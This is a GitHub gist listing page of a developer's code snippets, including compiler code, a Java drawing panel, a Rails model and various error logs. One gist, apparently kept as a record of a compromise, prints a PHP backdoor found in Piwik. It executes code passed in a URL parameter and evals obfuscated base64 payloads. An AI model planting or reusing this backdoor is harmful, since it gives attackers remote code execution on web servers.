Skip to content

Instantly share code, notes, and snippets.

View halfdan's full-sized avatar
🇩🇪

Fabian Becker halfdan

🇩🇪
View GitHub Profile
static void generateCodeCallStmt(Absyn *node, Table *table, Entry *currentMethod,
int returnLabel, int breakLabel) {
Absyn *rcvr = node->u.callStm.rcvr;
Absyn *args = node->u.callStm.args;
Sym *name = node->u.callStm.name;
Class *rcvrClass = node->u.callStm.rcvrClass;
Class *rcvrMetaClass = rcvrClass->metaClass;
Entry *methodEntry;
int offset;
int numParams;
@halfdan
halfdan / YinYangPanel.java
Created May 24, 2012 12:50
YinYangPanel, a JPanel that draw a YinYang symbol
package eu.geekproject;
import java.awt.BorderLayout;
import java.awt.Color;
import java.awt.Graphics;
import javax.swing.JFrame;
import javax.swing.JPanel;
/**
* Basic JPanel that draws a YinYang symbol.
@halfdan
halfdan / post.rb
Created September 12, 2012 21:35
Taggable Post model in Rails 3.2.x
class Post < ActiveRecord::Base
attr_accessible :body, :title, :tag_names
attr_reader :tag_names
has_many :taggings
has_many :tags, :through => :taggings
def tag_names=(tag_list)
tag_names = tag_list.gsub(/\s+/, "").split(",")
existing = self.tags.map {|t| t.name }
@halfdan
halfdan / API Result
Created October 12, 2012 12:13
Piwik Plugin IPvUsage
<result>
<IPv6Usage_IPv4>36</IPv6Usage_IPv4>
<IPv6Usage_IPv6>1</IPv6Usage_IPv6>
</result>
halfdan@io:~$ ruby -v
mruby - Embeddable Ruby Copyright (c) 2010-2012 mruby developers
^C
halfdan@io:~$ irb -v
/usr/bin/env: ruby� @: No such file or directory
$ ruby test.rb
I, [2012-11-13T20:14:01.402000 #16322] INFO -- : Starting local Neo4j using db /rahome/becker/test/db using Java::OrgNeo4jKernel::EmbeddedGraphDatabase
I, [2012-11-13T20:14:04.356000 #16322] INFO -- : Neo4j has been shutdown using storage_path: /rahome/becker/test/db
CypherParserImpl.scala:46:in `parse': string matching regex `$' expected but `R' found
Think we should have better error message here? Help us by sending this query to [email protected].
Thank you, the Neo4j Team.
" RELATE left-[r:interacts_with {type:'PDB'}]->right"
@halfdan
halfdan / gist:4182258
Created December 1, 2012 13:33
Piwik Backdoor from 26.11.2012
<?php Error_Reporting(0); if(isset($_GET['g']) && isset($_GET['s'])) {
preg_replace("/(.+)/e", $_GET['g'], 'dwm'); exit;
}
if (file_exists(dirname(__FILE__)."/lic.log")) exit;
eval(gzuncompress(base64_decode('eF6Fkl9LwzAUxb+KD0I3EOmabhCkD/OhLWNOVrF/IlKatiIlnbIOZ/bpzb2pAyXRl7uF/s7JuffmMlrf3y7XD09OSWbUo9RzF6XzHCz3+0pOeDW0C79s2vqtaSdOTRKZOxfXDlmJOvp8LbzHwJle/aIYEL0YWEpFGwk4nZr4zkRGQsJn3kMND6jcBgayIKnkIX3n2tu1EieGARMoH3W8NXjBp4JAVQq8GFR/KcAbcyoSfhX9vzeU0R8K3mH313Q4UnAykzj9707HzHZ67PJndpyPSqKHbZ0kLq6N0s5KdDxSKYz7wkwE80mW6e3m3gbz8l0i2jh50b2sRJEnwjxJ1tOjVvumO9RrPHsT9BZNSN0qm2F2TlLDO9EqSNMADWCHW/LmLsvmbn009XNOA38yH6qNUm+a97jyA55xzFpgViGxa2SlN2ObBZQeuxwwL9kocnrzBWVXDMo='))); ?><? eval(gzuncompress(base64_decode('eF5dj1tvgkAQhf+KDyRq0gdYUCGGB7RCaYGmwC6BpjHLpStXjbgoNv3vBUybxofJzJmc+U7mk1bRKd1Xoy0niAuBBzPATZh0+sVgWTkecTsZu540x96l9h2RMzKFvKjxISztJubNha7Crv40cYs3YjnC5bVdFWHKIXitSVT5c9MRBCPbUCvNiQ1QhoHYmJlytq4Kb2aQ2GXRBl7QJGux7TKouRbA+GHsqDaEqqS7nAU7CXNkI4hcpEoI5rncrZ6JPDRX7/34yWajx31j8Ks25C02BAWIAKQ+kE4
@halfdan
halfdan / gist:4731409
Created February 7, 2013 14:53
Failed tests on Piwik master
PHPUnit 3.7.13 by Sebastian Bergmann.
Configuration read from /var/www/piwik/tests/PHPUnit/phpunit.xml
EEEEEEEEEEEEEE
Time: 7 seconds, Memory: 14.50Mb
There were 14 errors:
PHP Warning: require(/home/travis/Geocoder/vendor/zendframework/zend-stdlib/compatibility/autoload.php): failed to open stream: No such file or directory in /home/travis/Geocoder/vendor/composer/autoload_real.php on line 41
Warning: require(/home/travis/Geocoder/vendor/zendframework/zend-stdlib/compatibility/autoload.php): failed to open stream: No such file or directory in /home/travis/Geocoder/vendor/composer/autoload_real.php on line 41
PHP Fatal error: require(): Failed opening required '/home/travis/Geocoder/vendor/zendframework/zend-stdlib/compatibility/autoload.php' (include_path='.::/home/travis/.phpenv/versions/5.5.0alpha3/share/pyrus/.pear/php') in /home/travis/Geocoder/vendor/composer/autoload_real.php on line 41
Fatal error: require(): Failed opening required '/home/travis/Geocoder/vendor/zendframework/zend-stdlib/compatibility/autoload.php' (include_path='.::/home/travis/.phpenv/versions/5.5.0alpha3/share/pyrus/.pear/php') in /home/travis/Geocoder/vendor/composer/autoload_real.php on line 41
class Piwik_DAS_API {
static private $instance = null;
/**
* @return Piwik_Actions_API
*/
static public function getInstance()
{
if (self::$instance == null)